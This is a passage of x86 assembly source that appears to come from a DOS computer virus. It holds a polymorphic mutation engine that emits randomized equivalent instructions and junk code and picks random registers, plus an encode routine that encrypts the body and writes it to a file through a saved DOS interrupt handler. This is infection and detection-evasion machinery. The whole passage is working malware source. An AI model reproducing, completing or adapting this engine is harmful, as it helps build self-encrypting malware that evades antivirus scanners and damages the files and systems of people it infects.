mov_reg_exit: jmp modify_pop
mov_reg_b0: or al,0b8h ; MOV reg,imm
stosb
jmp mov_reg_sto
mov_reg_other: push ax
mov cl,3
mov ch,al
shl ch,cl ; copy reg1 to reg2
or al,ch ; set it
call boolean
jnz mov_reg_other1
or ah,2 ; reg1, reg2 -> reg2, reg1
mov_reg_other1: call boolean
jnz mov_reg_xor
or ax,29c0h ; SUB reg, reg
call boolean
jnz mov_reg_other_sto
xor ah,19h xor 29h ; SBB reg, reg
call clear_carry ; clear carry flag
mov_reg_other_sto:
xchg al,ah
stosw
call garble
pop ax
call modify_reg ; ADD/OR/XOR reg(ax),value(dx)
jmp mov_reg_exit
mov_reg_xor: or ax,31c0h ; XOR AX,AX
jmp mov_reg_other_sto
;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
modify_reg: push ax bx cx dx
cbw
mov bx,2
call random_bx
mov cx,3500h + (6 shl 3) ; XOR
jz modify_reg_cont
mov cx,0d00h + (1 shl 3) ; OR
dec bx
jz modify_reg_cont
modify_reg_add: mov cx,0500h ; ADD
call boolean ; ADC or ADD?
jnz modify_reg_cont
mov cx,1500h + (2 shl 3) ; ADC
modify_reg_clc: call clear_carry ; Clear carry flag
modify_reg_cont:test bp,200h ; keychange executing?
jz modify_reg_nosave
mov ds:modify_op,ch ; save AX operation
modify_reg_nosave:
call boolean ; check if AX?
jnz modify_reg_noax
or al,al ; AX?
jnz modify_reg_noax
mov al,ch
stosb ; store instruction
xchg dx,ax
modify_sto: stosw ; store value
modify_exit: call garble
modify_pop: pop dx cx bx ax
retn
modify_reg_noax:or ax,81c0h
or al,cl ; XOR/OR/ADD
call boolean ; sign extend?
jnz modify_reg_nosign
cmp dx,7fh ; possible to sign extend?
jbe modify_sign
cmp dx,-80h
jb modify_reg_nosign
modify_sign: or ah,2 ; sign extend
modify_reg_nosign:
xchg al,ah
stosw
test al,2 ; sign extended?
xchg dx,ax
je modify_sto
stosb
jmp modify_exit
;=====( ADD reg(ax), value(dx) )=============================================;
add_reg: push ax bx cx dx
cbw
mov cx,dx
add_loop: mov bx,3
call random_bx ; 1 in 4 chance of ADD/SUB
jz add_noinc
mov bx,40c0h ; INC reg
test bp,200h ; keychange running?
jz add_nosave
mov ds:modify_op,05h ; ADD AX,
add_nosave: cmp cx,3h ; too high to INC?
jb add_inc
neg cx
cmp cx,3h ; too low to DEC?
ja add_noinc
mov bx,48c0h + (1 shl 3) ; DEC reg
test bp,200h
jz sub_nosave
mov ds:modify_op,2dh ; SUB AX,
sub_nosave: inc dx
inc cx
cmp ax,0
org $ - 2
add_inc: dec dx
dec cx
push ax
mov ax,5
call random ; 1 in 6 chance of FF
pop ax
push ax
jnz add_inc_40
mov ah,0ffh
xchg bl,bh
xchg al,ah ; AL=ff AH=Reg
stosb
xchg al,ah
add_inc_40: or al,bh ; set DEC/INC
stosb
pop ax
call garble
or dx,dx ; all done?
jnz add_loop
add_reg_exit: jmp modify_pop
add_noinc: call boolean ; ADD or SUB?
jz sub_reg
jmp modify_reg_add
sub_reg: test bp,200h ; keychange?
jnz sub_reg_key
neg dx
sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB
call boolean ; use SBB?
jz sbb_reg
jmp modify_reg_cont
sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB
jmp modify_reg_clc
;=====( clear carry flag )===================================================;
clear_carry: push ax bp
or bp,800h ; don't change flags
mov al,0f8h ; CLC
call boolean
jnz clear_carry_clc
mov ax,0f5f9h ; STC/CMC
stosb
call garble
xchg al,ah
clear_carry_clc:stosb
call garble
pop bp ax
retn
garble: push ax
mov ax,2
call random ; how many times to call?
xchg cx,ax
jcxz garble_exit
garble_loop: call garble1
loop garble_loop
garble_exit: xchg cx,ax
pop ax
retn
;=====( add garbage code )===================================================;
garble1: push ax bx cx dx bp
test bp,100h ; Garble already executing?
jnz garble_ret
and bp,not 200h ; keychange not executing
or bp,100h ; Garble executing
call boolean
jnz garble_ret
mov cl,3
call random_1
xchg dx,ax ; DX=random number
call get_reg ; get register
jc garble_ret
mov bx,6
test bp,800h ; flag change allowed?
jz garble_f
mov bl,2
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
jnz garble_xchg
or ah,89h
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
jz garble_reg_reg
or ah,2 ; 8b
xchg al,dl
garble_reg_reg: and dl,7 ; Get register values only
and al,7
shl dl,cl
or al,0c0h ; MOV reg1, random reg
or al,dl
xchg al,ah
stosw
garble_ret: pop bp
jmp modify_pop
garble_xchg: dec bx
jnz garble_1byte
xchg dx,ax
call get_reg ; get another reg
jc garble_ret
xchg dx,ax ; AL=reg1 DL=reg2
call boolean
jnz garble_xchgnoax
or dl,dl ; AX?
jz garble_xchgax
or al,al
jz garble_xchgax
garble_xchgnoax:or ah,87h ; XCHG reg1,
jmp garble_reg_reg
garble_xchgax: or al,90h
or al,dl ; XCHG AX, reg
garble_stosb: stosb
jmp garble_ret
garble_1byte: dec bx
jnz garble_modify
mov al,4
call random
mov bx,offset garble_1byte_tbl
xlat ; get 1 byte instruction
jmp garble_stosb
garble_modify: dec bx
jnz garble_add
call modify_reg ; ADD/XOR/OR reg1, random #
jmp garble_ret
garble_add: dec bx
jnz garble_mov
call add_reg ; ADD/SUB reg1, random #
jmp garble_ret
garble_mov: dec bx
jnz garble_op
call mov_reg ; MOV reg1, random #
jmp garble_ret
garble_op: and dh,00111000b ; get rnd op
mov ah,1
or ah,dh
jmp garble_reg_set
garble_1byte_tbl:
db 2eh
db 36h
cld
std
sti
;=====( Is BP a Pointer? )===================================================;
is_bp_ptr: cmp ds:ptr_reg,_bp
je bp_is_ptr
cmp ds:ptr_reg1,_bp
bp_is_ptr: retn
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
get_ptr_regnext:call del_reg ; restore register to pool
get_ptr_reg: call get_reg ; get register
cmp al,_bx
je got_ptr_reg
cmp al,_bp
jb get_ptr_regnext
got_ptr_reg: retn
;=====( return random register in AL )=======================================;
get_reg: test bp,11101111b ; any registers free?
stc
jz get_reg_exit
get_reg_loop: mov ax,7
call random
push ax
cbw
call conv_num ; convert to bit map
test bp,ax ; is register free?
pushf
not ax
and bp,ax ; mark register
popf
pop ax
jz get_reg_loop
get_reg_exit: retn
;=====( Restore register to pool )===========================================;
del_reg: push ax
cbw
call conv_num ; convert to bit number
or bp,ax ; restore register
pop ax
retn
;=====( convert number to bit map )==========================================;
conv_num: push cx
mov cl,al
mov al,1
shl al,cl
pop cx
retn
;=====( randomize order of BX/CX/DX/SI, then call )==========================;
order: call garble
mov ax,2
call random
xchg cx,ax
inc cx
order_loop: call boolean
jnz order1
xchg bx,ax
order1: call boolean
jnz order2
xchg dx,ax
order2: call boolean
jnz order3
xchg si,ax
order3: loop order_loop
push si dx bx ax
order_ret: retn
;=====( return random number between 0 and ffff in bx )======================;
random_bx: xchg bx,ax
call random
xchg bx,ax
retn
;=====( flip Sign bit )======================================================;
boolean: push ax
mov ax,1
call random
pop ax
retn
;=====( return random number between 0 and ffff )============================;
random_1: mov ax,-1
;=====( Generate random number between 0 and AX )============================;
random: push ds bx cx dx ax
xor ax,ax
int 1ah
push cs
pop ds
in al,40h
xchg cx,ax
xchg dx,ax
mov bx,offset ran_num
xor ds:[bx],ax
rol word ptr ds:[bx],cl
xor cx,ds:[bx]
rol ax,cl
xor dx,ds:[bx]
ror dx,cl
xor ax,dx
imul dx
xor ax,dx
xor ds:[bx],ax
pop cx
xor dx,dx
inc cx
je random_ret
div cx
xchg ax,dx
random_ret: pop dx cx bx ds
or ax,ax
retn
ran_num dw ?
;=====( Encrypts the code/writes it/decrypts code )==========================;
encode: mov bx,ds:handle
mov ax,0
key = word ptr $ - 2
mov cx,(decrypt-v_start)/2
xor di,di
encode_break: clc
clc
clc
clc ; XCHG CX,AX XCHG CX,AX
clc
clc ; CLC ADD AX,xxxx / XOR [DI],AX
clc
clc ; XOR [DI],AX / CLC ADD AX,xxxx
inc di
inc di
loop encode_break
encode_ret = byte ptr $
mov ah,40h
mov cx,file_size
cwd
pushf
call cs:int_21
jc encode_flag
sub ax,cx
encode_flag: pushf
pop bp
mov word ptr ds:[si],0
encode_flip = word ptr $ - 2
mov byte ptr ds:write_buff[encode_ret-encode],0c3h
jmp encode
encode_end: